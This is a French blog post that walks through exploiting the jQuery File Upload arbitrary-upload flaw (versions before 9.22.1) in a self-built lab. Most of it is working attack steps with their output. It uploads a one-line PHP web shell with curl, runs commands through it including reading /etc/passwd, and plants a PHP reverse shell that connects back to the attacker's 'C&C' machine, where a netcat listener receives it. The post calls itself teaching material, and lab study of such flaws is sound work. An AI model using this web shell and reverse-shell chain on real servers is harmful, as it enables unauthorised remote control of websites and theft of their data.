J’ai testé le dernier zero-day jQuery… et c’est moche

de | 21 octobre 2018

J’ai lu de nombreux articles qui alertaient sur un zero-day qui exploite une vulnérabilité du plugin jQuery File Upload et qui permet une exécution de code à distance (snif!) . L’ensemble des versions de jQuery File Upload antérieures à la version 9.22.1 est concerné par cette vulnérabilité. Du coup, je me suis penché sur cette vulnérabilité. Cette publication a pour objectif de décrire le fonctionnement du zero-day et voir comment il peut être utilisé pour disposer d’un terminal sur la machine vulnérable.

Le contenu de cette publication est purement pédagogique. Il ne doit pas être utilisé à des fins malveillantes.

Préparons le serveur web :
Le serveur web s’exécutera sur le système d’exploitation Debian.
Installation de php qui installera également apache2 :

sabri@monserver:~$ sudo -y apt-get install php7.0

Installation d’une version vulnérable de jQuery File Upload Plugin : 9.22.0

sabri@monserver:~$ cd /var/www/html
sabri@monserver:~$ sudo wget https://github.com/blueimp/jQuery-File-Upload/archive/v9.22.0.zip
sabri@monserver:~$ sudo tar zxvf v9.22.0.zip

Il faut changer le propriétaire du répertoire /var/www/html/jQuery-File-Upload/server/php/files/ pour que jQuery puisse y stocker les fichiers envoyés. Le propriétaire doit être le même que celui qui exécute l’application apache2.

Pour commencer, il faut récupérer les valeurs des variables : APACHE_RUN_USER et APACHE_RUN_GROUP dans /etc/apache2/envvars

sabri@monserver:~$ cat /etc/apache2/envvars | grep -e « APACHE_RUN_USER= » -e « APACHE_RUN_GROUP= »
export APACHE_RUN_USER=www-data
export APACHE_RUN_GROUP=www-data

Dans mon cas, il s’agit des valeurs par défaut liées à l’installation d’apache2 à savoir www-data pour les deux variables.

Changement des droits :

sabri@monserver:~$ sudo chown www-data:www-data /var/www/html/jQuery-File-Upload-9.22.0/server/php/files/

L’environnement jQuery est prêt à être utilisé. Il suffit de se saisir l’URL suivante pour télécharger des fichiers via ce plugin : http://monserver/jQuery-File-Upload/

Pour vérifier que les fichiers sont bien téléchargés, il faut saisir l’URL suivantes : http://monserveur/jQuery-File-Upload-9.22.0/server/php/files/

Maintenant, testons la vulnérabilité :

Sur la machine qui servira à réaliser l’attaque et qui sera désignée par serveur C&C (Commande et Contrôle) dans la suite de la publication  :

Création d’un script shell.php avec le contenu suivant : <?php $cmd=$_GET[‘cmd’]; system($cmd);?>

root@kali:~# echo ‘<?php $cmd=$_GET[‘\ »cmd’\ »]; system($cmd);?>’ > shell.php

Ce script utilise la fonction system de php qui permet l’exécution de commande sur le serveur web. La commande à exécuter est transmise dans la variable cmd du script qui sera positionné dans l’URL.

Dernière action, upload du script dans le serveur :

root@kali:~# curl -F « files=@shell.php » http://monserver/jQuery-File-Upload-9.22.0/server/php/index.php

Le script shell.php est accessible en saisissant l’URL http://monserveur/jQuery-File-Upload-9.22.0/server/php/files/

En cliquant sur le script, rien ne se passe : normal il manque la commande à exécuter en paramètre.

Exemples de commandes exécutées à distance :

root@kali:~# curl http://monserver/jQuery-File-Upload/server/php/files/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

La commande id présente les informations et le groupe de l’utilisateur courant, en occurrence www-data qui est utilisé par apache2 pour son exécution, normal !

Autre commande pour identifier le répertoire courant :

root@kali:~# curl http://monserver/jQuery-File-Upload/server/php/files/shell.php?cmd=pwd
/var/www/html/jQuery-File-Upload/server/php/files

Des commandes plus élaborées peuvent être passées en paramètre (j’utilise %20 pour remplacer les espaces : dans le cas ci-dessous « uname -a » pour afficher les informations du système qui pourraient être utilisées pour la suite d’une attaque).

root@kali:~# curl http://monserver/jQuery-File-Upload/server/php/files/shell.php?cmd=uname%20-a
Linux monserver 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u4 (2018-08-21) x86_64 GNU/Linux

Ou encore pour voir le contenu du fichier passwd pour identifier les comptes utilisateurs sur le serveur :

root@kali:~# curl http://monserver/jQuery-File-Upload/server/php/files/shell.php?cmd=cat%20/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
sabri:x:1000:1000:,,,:/home/sabri:/bin/bas

Il est possible d’avancer d’un cran dans l’attaque en disposant d’un shell distant sur le serveur web. Ce shell sera accédée depuis le serveur C&C. Pour cela, il faut implanter, dans le serveur web, un reverse shell développé pour php. Ce type de shell peut être trouvé en quelques secondes de recherche sur Internet. Par exemple sur la page suivante : http://pentestmonkey.net/tools/web-shells/php-reverse-shell.

Une fois téléchargé sur le serveur C&C, deux lignes du script « php-reverse-shell.php » doivent être modifiées :
$ip = ‘127.0.0.1’; >> avec l’adresse ip du serveur C&C
$port = 1234; >> avec le port sur lequel le serveur C&C attendra la communication entrante depuis le serveur web

Il faut trouver un port sortant depuis le serveur web notamment s’il est derrière un pare-feu. Commençons par un accès internet. Par exemple en récupérant une page sur Internet :

root@kali:~# curl http://monserver/jQuery-File-Upload/server/php/files/shell.php?cmd=wget%20http://www.google.com

On regarde le contenu du répertoire, on y retrouve un fichier index.html

root@kali:~# curl http://monserver/jQuery-File-Upload/server/php/files/shell.php?cmd=ls
index.html
shell.php

On regarde le contenu du fichier :

root@kali:~# curl http://monserver/jQuery-File-Upload/server/php/files/shell.php?cmd=cat%20index.html
<!doctype html><html itemscope= » » itemtype= »http://schema.org/WebPage » lang= »fr »><head><meta content= »text/html; charset=UTF-8″ http-equiv= »Content-Type »><meta content= »/images/branding/googleg/1x/googleg_standard_color_128dp.png » itemprop= »image »><title>Google</title><script nonce….

Bingo !

On passera par le port 80 : à intégrer au fichier “php-reverse-shell.php”.

On lance l’utilitaire netcat sur le serveur C&C. Cet utilitaire permet de transmettre des données à travers une connexion réseau :

root@kali:~# nc -v -n -l -p 80
listening on [any] 80 …

Dans une autre fenêtre sur le serveur C&C, le script php-reverse-shell.php est uploadé vers le serveur web en exploitant la faille :

root@kali:~# curl -F « files=@php-reverse-shell.php » http://monserveur/jQuery-File-Upload-9.22.0/server/php/index.php

Le script est exécuté (ne pas s’étonner : rien ne s’affichera à l’écran).

root@kali:~# curl http://monserver/jQuery-File-Upload/server/php/files/php-reverse-shell.php

Coté serveur C&C :

root@kali:~# nc -v -n -l -p 80
listening on [any] 80 …
connect to [kali] from (UNKNOWN) [monserver] 39966
Linux monserver 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u4 (2018-08-21) x86_64 GNU/Linux
13:04:46 up 3:24, 1 user, load average: 0.02, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
sabri pts/4 kali 11:55 22.00s 0.30s 0.02s sshd: sabri [priv]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can’t access tty; job control turned off
$

(Re)bingo, l’attaquant dispose maintenant d’un shell distant. Dans ce scénario, il y a une première difficulté à surmonter : réaliser une escalade de privilège, car le compte accédé est www-data. Ce compte est hérité d’apache2 qui a servi de canal d’entrée sur le serveur. Néanmoins, l’attaquant peut commencer à rechercher une méthode pour atteindre cet objectif (hors sujet de cette publication), en démarrant, par exemple, de la version du système d’exploitation qui a été vue précédemment.

Je ne parle même pas des configurations dans lesquelles le serveur apache2 est exécuté avec le compte root, l’accès au shell distant se fera avec les droits du compte root… snif !

Au-delà des problèmes de configuration qui peuvent être exploités, le problème avec ce Plugin est qu’il a été forké 7834 fois à la date de la rédaction de cette publication. Un aussi grand nombre de forks montre que ce pluggin est utilisé dans de nombreux projets… projets qui sont vulnérables à cette attaque.

Sources :
Having The Security Rug Pulled Out From Under You